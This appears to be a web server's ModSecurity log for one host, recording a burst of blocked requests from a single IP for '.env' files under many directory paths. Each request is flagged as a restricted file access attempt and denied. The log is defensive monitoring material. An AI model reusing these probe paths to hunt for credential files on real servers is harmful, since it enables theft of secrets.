[Sun Oct 25 16:35:27.320265 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ai/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at5oD4ukxjiHll2_888PJgAAAAw"]
[Sun Oct 25 16:35:27.320495 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at5oD4ukxjiHll2_888PJgAAAAw"]
[Sun Oct 25 16:35:27.320700 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at5oD4ukxjiHll2_888PJgAAAAw"]
[Sun Oct 25 16:35:27.322551 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /common/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at5oD68dg0Qe9Rh6wUUcJQAAAEU"]
[Sun Oct 25 16:35:27.322700 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at5oD68dg0Qe9Rh6wUUcJQAAAEU"]
[Sun Oct 25 16:35:27.322947 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at5oD68dg0Qe9Rh6wUUcJQAAAEU"]
[Sun Oct 25 16:35:27.326781 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pipeline/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at5oDxBRkwwnkVogupUKKAAAABE"]
[Sun Oct 25 16:35:27.327014 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at5oDxBRkwwnkVogupUKKAAAABE"]
[Sun Oct 25 16:35:27.327272 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at5oDxBRkwwnkVogupUKKAAAABE"]
[Sun Oct 25 16:35:27.343303 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /utils/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at5oD4ukxjiHll2_888PJwAAAAw"]
[Sun Oct 25 16:35:27.343586 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at5oD4ukxjiHll2_888PJwAAAAw"]
[Sun Oct 25 16:35:27.343881 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at5oD4ukxjiHll2_888PJwAAAAw"]
[Sun Oct 25 16:35:27.345693 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56396] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /internal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at5oD-awu2hdqh-E8Ti3WQAAAD8"]
[Sun Oct 25 16:35:27.346196 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56396] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at5oD-awu2hdqh-E8Ti3WQAAAD8"]
[Sun Oct 25 16:35:27.346420 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56396] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at5oD-awu2hdqh-E8Ti3WQAAAD8"]
[Sun Oct 25 16:35:27.347523 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cmd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at5oD8QLj3BHFe0xVVDO7wAAAAU"]
[Sun Oct 25 16:35:27.347688 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at5oD8QLj3BHFe0xVVDO7wAAAAU"]
[Sun Oct 25 16:35:27.348003 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at5oD8QLj3BHFe0xVVDO7wAAAAU"]
[Sun Oct 25 16:35:27.349128 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56356] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pkg/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at5oD2FV96rJYXEkIA1oMQAAABk"]
[Sun Oct 25 16:35:27.349267 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56356] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at5oD2FV96rJYXEkIA1oMQAAABk"]
[Sun Oct 25 16:35:27.349501 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56356] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at5oD2FV96rJYXEkIA1oMQAAABk"]
[Sun Oct 25 16:35:27.352741 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56358] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at5oD7gKC8DPM1idVOQungAAAA8"]
[Sun Oct 25 16:35:27.352888 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56358] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at5oD7gKC8DPM1idVOQungAAAA8"]
[Sun Oct 25 16:35:27.353116 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56358] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at5oD7gKC8DPM1idVOQungAAAA8"]
[Sun Oct 25 16:35:27.354240 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at5oD3WAJkvYyuEsFoLITAAAABc"]
[Sun Oct 25 16:35:27.354376 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at5oD3WAJkvYyuEsFoLITAAAABc"]
[Sun Oct 25 16:35:27.354616 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at5oD3WAJkvYyuEsFoLITAAAABc"]
[Sun Oct 25 16:35:27.355628 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agent/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at5oD68dg0Qe9Rh6wUUcJgAAAEU"]
[Sun Oct 25 16:35:27.355782 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at5oD68dg0Qe9Rh6wUUcJgAAAEU"]
[Sun Oct 25 16:35:27.355986 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at5oD68dg0Qe9Rh6wUUcJgAAAEU"]
[Sun Oct 25 16:35:27.364053 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at5oD_3ebQuInVpw1e8OJAAAAAI"]
[Sun Oct 25 16:35:27.364209 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at5oD_3ebQuInVpw1e8OJAAAAAI"]
[Sun Oct 25 16:35:27.364467 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at5oD_3ebQuInVpw1e8OJAAAAAI"]
[Sun Oct 25 16:35:27.365467 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at5oDxP9LBTwM7uyBGcGKQAAAAM"]
[Sun Oct 25 16:35:27.365679 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at5oDxP9LBTwM7uyBGcGKQAAAAM"]
[Sun Oct 25 16:35:27.365896 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at5oDxP9LBTwM7uyBGcGKQAAAAM"]
[Sun Oct 25 16:35:27.367333 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /store/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at5oD4ukxjiHll2_888PKAAAAAw"]
[Sun Oct 25 16:35:27.367515 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at5oD4ukxjiHll2_888PKAAAAAw"]
[Sun Oct 25 16:35:27.367721 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at5oD4ukxjiHll2_888PKAAAAAw"]
